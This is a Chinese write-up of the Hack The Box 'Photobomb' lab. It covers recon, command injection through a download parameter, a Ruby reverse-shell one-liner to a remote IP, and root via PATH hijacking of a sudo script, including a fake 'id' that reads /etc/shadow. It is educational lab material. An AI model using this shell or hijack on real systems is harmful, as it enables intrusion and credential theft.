当前位置: 首页 > news >正文

HTB-Photobomb

在这里插入图片描述

HTB-Photobomb

  • 信息收集
  • 开机
  • 提权
  • 对于问题的思考

信息收集

端口扫描
在这里插入图片描述

目标首页
在这里插入图片描述
有一个http Authorization

目录扫描
在这里插入图片描述
在这里插入图片描述

在查看源码的时候发现了一个js文件。
在这里插入图片描述
在这里插入图片描述
并且发现了访问不存在的目录会出现错误提示。
在这里插入图片描述
通过搜索得知

Sinatra 是一个基于 Ruby 语言的 DSL(领域专属语言),可以轻松、快速的创建 web 应用。-------Sinatra 中文文档

通过上面发现了http Authorization的登陆凭证pH0t0:b0Mb!,使用凭证登录。
在这里插入图片描述

登陆进去没有发现什么,决定开始第二次信息收集,没错,没有额外收获。对其下载功能使用bp,能看见三个参数。

在这里插入图片描述
估计突破口在这三个参数当中,谁知道呢,因为前面知道Sinatra,所以首先考虑ruby,经过简单测试发现突破点应在filetype,并且无法正确回弹。

开机

没关系,至少证明我应该找到方向了,但是为什么会回弹没有完全成功。不会防火墙拦截了吧。更换了一个ruby的reshell脚本。

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'

在这里插入图片描述

提权

通过sudo -l能发现一个文件。
在这里插入图片描述
文件内容与下,最重要的应该是最后一句。在source_images目录里找到所有jpg文件并且给予root:root。
在这里插入图片描述
立即想到的方法是通过这个脚本修改所属者和组的权限,使用bash -p选项将root组添加至wizard用户组。似乎不行。
在这里插入图片描述

虽然在hacktrick上找到了可能能用的方法,但是我没研究出来。在这里插入图片描述
又出现问题了,大概率是用法不对。
在这里插入图片描述

因为脚本使用的find命令,注意这个find命令并不是绝对路径。
在这里插入图片描述
又因为系统环境变量PATH里面有/usr/bin,所以我们能够直接用find调用/usr/bin/find。
在这里插入图片描述
如果我对系统变量进行修改,使之find为我们自己创建的一个同名文件。

在这里插入图片描述
接着要做的就是把/tmp目录添加到系统环境变量里。
在这里插入图片描述

PATH=/tmp:$PATH

在这里插入图片描述
然后执行脚本发现没有作用,为什么呢。
在这里插入图片描述
然后尝试以下方式能成功,这又是为什么。

在这里插入图片描述

对于问题的思考

为了知道那两个为什么,我做了个实验。tee.sh里面只有id命令,然后当前目录下有一个id同名文件,在修改系统环境变量命令后面加上要执行的脚本,就会出现要执行的脚本使用前面系统环境变量里面的id文件(也就是当前目录下的id)。

id内容如下。

在这里插入图片描述

tee.sh的内容为。
在这里插入图片描述
先分开运行看看。能看到加入环境变量前后id的命令发生了改变,并且再用sudo会发现tee.sh文件内的id是查看用户(组)的命令,而不是cat /etc/shadow。
在这里插入图片描述

这次加上合着一起用。可以看到使用sudo执行了当前目录文件id的cat /etc/shadow。
在这里插入图片描述

也就是说如果需要让脚本内的命令以某个路径下的同名命令替换运行并以sudo权限运行的话就需要sudo PATH:somepath:$PATH somescript.sh。至于为什么,我觉得以我目前的水平只能认为这可能是一种固定的使用方式,至于真的是否如此,只有等日后探究真相。

相关文章:

HTB-Photobomb

HTB-Photobomb信息收集开机提权对于问题的思考信息收集 端口扫描 目标首页 有一个http Authorization 目录扫描 在查看源码的时候发现了一个js文件。 并且发现了访问不存在的目录会出现错误提示。 通过搜索得知 Sinatra 是一个基于 Ruby 语言的 DSL(领域…...

【LSTM】2 多因素单步骤预测

基于时间序列的预测,一定要明白它的原理,不是工作原理,而是工程落地原因。 基于时间序列,以已知回归未知----这两句话是分量很重的。 多因素单步单输出组合 时间序列:t1 是 特征 1,2,3 预测t2 的回归值41 多因素单步多…...

ChatGPT从下游应用“火”到了上游芯片厂,国内谁将受益?

因库存陷入低迷周期的半导体市场近日因ChatGPT的火热而重新受到外界关注。 原文链接:ChatGPT从下游应用“火”到了上游芯片厂,国内谁将受益? 由于ChatGPT属于生成式AI,被誉为“AI芯片”第一股的英伟达应声而涨。2月13日收盘&#…...

算法单调栈—Java版

单调栈 概念:维护栈中元素的单调性,单调增或者单调减。 什么时候用? 要寻找任一个元素的右边或者左边第一个比自己大或者小的元素的位置。单调栈的本质是空间换时间,在遍历的过程中需要用一个栈来记录右边第一个比当前元素高的元…...

在Linux中进行rocketmq及rocketmq控制台安装与配置

rocketmq下载安装的版本:rocketmq-rocketmq-all-5.0.0.tar.gz rocketmq控制台下载安装的版本:rocketmq-externals-rocketmq-console-1.0.0.tar.gz rocketmq安装 第一步,下载server-jre-8u202-linux-x64.tar.gz安装包。 登录网址&#xff…...

2023年全国最新食品安全管理员精选真题及答案4

百分百题库提供食品安全管理员考试试题、食品安全员考试预测题、食品安全管理员考试真题、食品安全员证考试题库等,提供在线做题刷题,在线模拟考试,助你考试轻松过关。 31.国家对食品添加剂生产实行____制度。 A.产品注册 B.产品备案 C.登…...

es-07脚本查询

脚本查询 概念 Scripting是Elasticsearch支持的一种专门用于复杂场景下支持自定义编程的强大的脚本功能,ES支持多种脚本语言,如painless,其语法类似于Java,也有注释、关键字、类型、变量、函数等,其就要相对于其他脚本高出几倍的性…...

JM员工福利与健康平台,企业关怀Always Online

庄信万丰(Johnson Matthey, JM),全球性专用化学品公司,是可持续发展技术的全球领导者。在30多个国家和地区拥有13000多名员工。 JM的价值观之一是保护人类和地球。在生产过程中,JM保持对环境保护和能源清洁的高度关注;在员工福利…...

如何使用U-Mail搭建企业邮件服务器?

在当今的信息时代,企业也应该跟上时代的步伐。做好企业信息化建设,对企业事业单位尤为重要。电子邮件作为企业信息化过程中的重要组成部分,在企业内部沟通和外部沟通中发挥着重要作用。目前,有实力的企业已经开始倾向于自己搭建邮…...

用规则来搭建团队:写周报不一定是坏事

你好,我是Smile,一位有二十年工作经验的技术专家。今天我会结合我的经历,和你聊聊搭建技术团队这个话题。 众所周知,技术团队很大程度上决定了一个公司业务的生命力和生命周期,因此技术团队的投入成本往往很高&#x…...

Apollo使用方法

Apollo使用方法1.Apollo相关原理1.Apollo启动方法1.1 软件包方式1.2 脚本方式2.播放数据包2.1 软件包方式2.2 脚本方式3.试验planning模块4.从官网下载场景集其他工具1.Apollo相关原理 cyber / mainboard / mainboard.cc 是Apollo入口 cyber / mainboard / module_argument.cc…...

科研快讯 | 14篇论文被信号处理领域顶级国际会议ICASSP录用

ICASSP 2023 近日,2023年IEEE声学、语音与信号处理国际会议(2023 IEEE International Conference on Acoustics, Speech, and Signal Processing,ICASSP 2023)发布录用通知,清华大学人机语音交互实验室(TH…...

设计模式—策略(Strategy)模式

一、概述策略模式的用意是针对一组算法,将每一个算法封装到具有共同接口的独立的类中,从而使得它们可以相互替换。策略模式使得算法可以在不影响到客户端的情况下发生变化使用策略模式可以把行为和环境分割开来。环境类负责维持和查询行为类,…...

STM32 触摸屏移植GUI控制控件

目录 1、emWin 支持指针输入设备。 2、 模拟触摸屏驱动 3、实现触摸屏的流程 3.1 实现硬件函数 3.2 实现对GUI_TOUCH_Exec()的定期调用 3.3 使用上一步确定的值,在初始化函数LCD_X_Config()当中添加对GUI_TOUCH_Calibrate()的调用 4、…...

数仓模型之维度建模

目录 1、数仓架构原则 2、如何搭建一个好的数仓 2.1 建模方法 2.2 建模解决的痛点 2.3 数仓系统满足的特性 2.4 数仓架构设计 3、维度建模 4、案例 5、问题讨论 今天我们来聊聊在数仓模型中举足轻重的维度建模。 简单而言,数据仓库的核心目标是为展现层提…...

Servlet笔记(9):Cookie处理

一、Cookies处理 1、Cookies概念 Cookies是存储在客户端计算机上的文本文件,并保留各种跟踪信息。 识别返回用户的三个步骤 服务器脚本向浏览器发送一组Cookies。例如姓名、年龄或识别号码等。浏览器将这些信息存储在本地计算机上。当下一次浏览器向Web服务器发送…...

骨传导耳机是怎么传声的,选择骨传导耳机的时候需要注意什么?

​骨传导耳机之所以能够成为当下最火的耳机,骨传导技术将声音转化为震动感,通过骨头进行传播,不会堵塞耳朵,就不会影响到周围环境音。这种技术也让骨传导耳机比传统入耳式耳机更安全,无需入耳式设计,避免了…...

达梦数据库DSC集群部署

一、概述 1.1 DSC 集群架构 1.2 架构说明 1、DMDSC 集群是一个多实例、单数据库的系统。 多个数据库实例可以同时访问、修改同一个数据库的数据。 2、数据文件、控制文件在集群系统中只有一份,不论有几个节点,这些节点都平等地使用这些文件, 这些文件保存在共享存储上。 3…...

java 系列之Mybatis

java 系列文章 文章目录java 系列文章前言一、Mybatis 入门1.1 认识 框架(了解)1.2 认识 ORM(要知道)1.3 认识 Mybatis(要知道)二、Mybatis 使用2.1 创建maven项目并导入依赖2.2 准备数据库,包和…...

OBS 进阶 之 摄像头操作

目录 一、摄像头 1、win-dshow插件中,摄像头枚举操作 1)、视频源ID 2)、注册视频源信息...

【linux学习】linux工具篇(下)

Linux调试器-gdb使用,Linux项目自动化构建工具-make/Makefile我是程序员小青蛙,下面分享linux的工具利用前言程序的发布方式有两种,debug模式和release模式 Linux gcc/g出来的二进制程序,默认是release模式 要使用gdb调试&#xf…...

曝GPT-5.5用上“全球最快芯片”,Claude慌了

120B模型飙到2000 token/秒,CFO更放话已在跑GPT-5.5!Cerebras 560亿美元IPO首日暴涨68%,但SemiAnalysis万字拆解直指死穴。 SemiAnalysis,硅谷最硬核的芯片分析机构,4月份光是AI工具的订阅费就烧到了年化1000万美元。…...

AI Agent 运行时革命:Session-as-Event-Log 架构解析

1. 这不是新赛道,是 runtime 层的“操作系统时刻”来了你有没有试过让一个 AI 代理连续工作四十分钟?不是闲聊,而是真正在查资料、调 API、写代码、改文档——一环扣一环地推进一个复杂任务。我去年就搭过这么一套系统,用的是当时…...

AI落地实战指南:场景锚定、能力分层与人机协同五步法

1. 项目概述:这不是一场技术发布会,而是一份从业者手绘的路线图 “AI: The Journey Ahead”——这个标题乍看像某场科技峰会的宣传语,或是某本畅销书的副标题。但在我过去十二年跑遍制造业产线、教育机构机房、中小律所档案室、社区卫生站HIS…...

原神抽卡数据分析神器:告别盲目抽卡,用数据掌控你的欧皇之路

原神抽卡数据分析神器:告别盲目抽卡,用数据掌控你的欧皇之路 【免费下载链接】genshin-wish-export Easily export the Genshin Impact wish record. 项目地址: https://gitcode.com/GitHub_Trending/ge/genshin-wish-export 你是否曾在原神抽卡时…...

146台储罐+10台喷淋塔,新能源项目为什么认准PPH?

在新能源材料项目的设备选型中,PPH正逐渐变成大多数厂家选择的一种材质。 最近美联新材料的新能源产业化项目,一口气向吉庆订了146台PPH贮罐、10台PPH喷淋塔,今天就借着这个真实项目,来聊一聊,PPH为什么能成成新能源项…...

Java 高级特性高频面试题 30 道(含答案)【简洁版】

覆盖泛型、反射、注解、Lambda/Stream、函数式接口、动态代理、JDK8 新特性、线程池、JVM、IO/NIO、序列化等核心高频考点,适合中高级 Java 工程师面试。一、泛型(3 题)什么是 Java 泛型?泛型的作用是什么?答案&#…...

最后37个可用的Lovable CRM私有化部署License名额:含2024最新GDPR+信创双合规配置包

更多请点击: https://kaifayun.com 第一章:Lovable CRM系统搭建 Lovable CRM 是一个轻量、可扩展、开发者友好的客户关系管理系统,专为中小团队设计,强调易用性与可定制性的平衡。它基于 Go 语言后端与 Vue 3 前端构建&#xff0…...

Nodejs开发者三步搞定Taotoken接入并实现异步聊天对话功能

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 Nodejs开发者三步搞定Taotoken接入并实现异步聊天对话功能 对于Node.js开发者而言,将大模型能力集成到应用中的第一步&…...

Photoshop到URP的法线验证闭环:跨引擎法线贴图精准调试指南

1. 这不是个“一键生成法线”的玩具,而是一套跨引擎、跨工作流的材质验证闭环你有没有遇到过这样的情况:在 Photoshop 里辛苦调出一张完美的 Normal Map,导入 Unity 后却发现高光方向反了、边缘发灰、贴图在 Decal 上拉伸变形,甚至…...